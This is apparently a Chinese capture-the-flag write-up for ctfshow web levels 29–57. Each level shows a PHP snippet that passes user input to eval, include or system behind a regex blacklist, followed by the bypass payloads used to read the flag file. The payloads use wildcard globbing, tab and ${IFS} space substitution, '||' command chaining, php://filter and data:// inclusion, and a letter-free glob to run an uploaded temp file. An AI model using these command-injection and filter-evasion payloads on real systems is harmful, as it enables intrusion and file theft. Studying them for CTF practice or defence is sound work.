web29:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}
else{
highlight_file(__FILE__);
}
利用函数:eval()
绕过思路:通配符绕过flag过滤
Payload1:/?c=system(“ls”);
#找到flag.php
Payload2:/?c=system(“cat fla*”);
web30
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
利用函数:eval()
绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。
Payload1:?c=echo `cat *`;
web31
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
利用函数:eval()
绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。空格用%09绕过,cat被过滤了换成tac。
Payload1:?c=echo `tac%09*`;
web32
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}
利用函数:eval()
绕过思路:过滤了system,echo,这里可以使用passthru,但是这次还过滤了括号,所以passthru也没有办法用,这里使用文件包含,通过php://filter协议进行读取文件。
Payload1: c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web32-web36
payload相同,不再赘述。
web37
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}
利用函数:include()
绕过思路:文件包含常用攻击手法,伪协议读取文件内容
Payload1: ?c=data:text/plain,<?=system("tac fla*");?>
web37-web39
相同payload
web40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}
利用函数:eval()
绕过思路:过滤了数字和许多东西,但是没有过滤掉英文的括号。
print_r(scandir(‘.’)); 查看当前目录下的所有文件名 ,开始构造。
localeconv() 函数返回一包含本地数字及货币格式信息的数组,第一个值为”.”。
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名 ,读取目录文件后,发现输出的是数组,而文件名是数组中的值,下一步我们需要取出想要读取文件的数组.
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组
需要知识点齐了,观察flag.php在倒数第二位,我们开始构造。#current(localeconv()) == getcwd()
Payload1: ?c=print_r(scandir(current(localeconv())));
#打印当前目录下的文件
Payload2:?c=show_source(next(array_reverse(scandir(getcwd()))));
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}
利用函数:echo
绕过思路:把数字和字母都给过滤了,这里的思路是构造system(“ls”),但是字母被过滤。没有过滤“|”,利用它构造。
Payload1: 脚本参考yu师傅
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}
利用函数:system()
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,我们通过“;”进行截断,回显出flag.
Payload1: ls;
Payload2: cat flag.php;
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函数:system()
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断。
Payload1: ls||
Payload2: tac flag.php||
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函数:system()
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,又多过滤了flag,用通配符绕过。
Payload1: ls||
Payload2: tac fla*||
web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函数:system()
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%09绕过。
Payload1: ls||
Payload2: tac%09fla*||
web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函数:system()
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%09绕过。过滤了*,用“?”代替。
Payload1: ls||
Payload2: tac%09fla?.php||
web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函数:system()
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%09绕过。过滤了*,用“?”代替。又多过滤了几个读取文件的命令,继续使用上题的payload,tac没有过滤。
Payload1: ls||
Payload2: tac%09fla?.php||
web48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}
继续使用上题payload.
web49
继续使用上题payload
web50
如上
web51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函数:system()
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%被过滤,%09无法绕过,使用<>进行绕过。过滤了*,用“?”代替,但是读不出来,使用“\”绕过。又多过滤了几个读取文件的命令,tac也给过滤了,我们使用nl或者ta\c进行绕过。
Payload1: ls||
Payload2: ta\c<>fla\g.php||
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}
利用函数:system()
绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%被过滤,%09无法绕过,<>也被过滤了无法进行绕过,使用${IFS}绕过。过滤了*,用“?”代替,但是读不出来,使用“\”绕过。又多过滤了几个读取文件的命令,tac也给过滤了,我们使用nl或者ta\c进行绕过。
Payload1: ls||
Payload2: ?c=ta\c${IFS}../../../fla?||
web53
同上,不用||截断了
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}
利用函数:system()
绕过思路:过滤了flag,用通配符绕过,多过滤了空格,%被过滤,%09无法绕过,<>也被过滤了无法进行绕过,使用${IFS}绕过。过滤了*,用“?”代替。又多过滤了几个读取文件的命令,tac也给过滤了,无法使用ta\c进行过滤了。所以这里我们使用grep.在flag.php中查找带有show字符串的一行(因为flag的格式为ctfshow{})
Payload1: ?c=grep${IFS}show${IFS}fl?g.php
web55
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}
利用函数:system()
绕过思路:这里没有禁用数字所以我们可以使用base64命令
Payload1: ?c=/???/????64 ????.???
web56
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}
利用函数:system()
绕过思路:无字母数字webshell。在linux shell中,.可以用当前的shell执行一个文件中的命令,比如.file就是执行file文件中的命令。所以本题可以post上传一个包含命令的文件,然后通过.来执行文件中的命令即可读到flag。
但有个问题,怎么去找到我们上传的文件呢?
当我们post上传一个文件后,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机生成的大小写字母。想当然的我们会用/???/?????????去匹配这个文件。
这里又会出现一个问题:符合这样的文件有好几个,这样其实匹配不到刚刚上传的文件。
翻阅p神文章可以知道,与正则表达式类似,glob支持利用[0-9]来表示一个范围,所以我们可以用[A-Z]来匹配文件的最后一位,但因为过滤了字母,需要把A改为A的前一位@,把Z改为Z的后一位[来匹配大写字母。
那么最终payload为c=. /???/????????[@-[]
这里说下为什么要匹配大写字母,因为其实用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母,不过因为是随机生成的大写字母,不一定每次都是大写,可以多试几下。
分析完毕,接下来开始操作
首先上传一个文件,脚本如下
<!DOCTYPE html>
<html>
<body>
<form action="http://d5fb2a5e-8342-4737-805f-0538c243b172.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
bp抓包,改参数,如下图:
web57
/flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}
利用函数:system()
绕过思路:过滤了通配符,无法进行无数字字母webshell,system中已经写好cat和php,所以我们只需要构造出36即可。在shell中可以利用$和()进行构造数字,详情见python脚本。
Payload1: 见python脚本
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)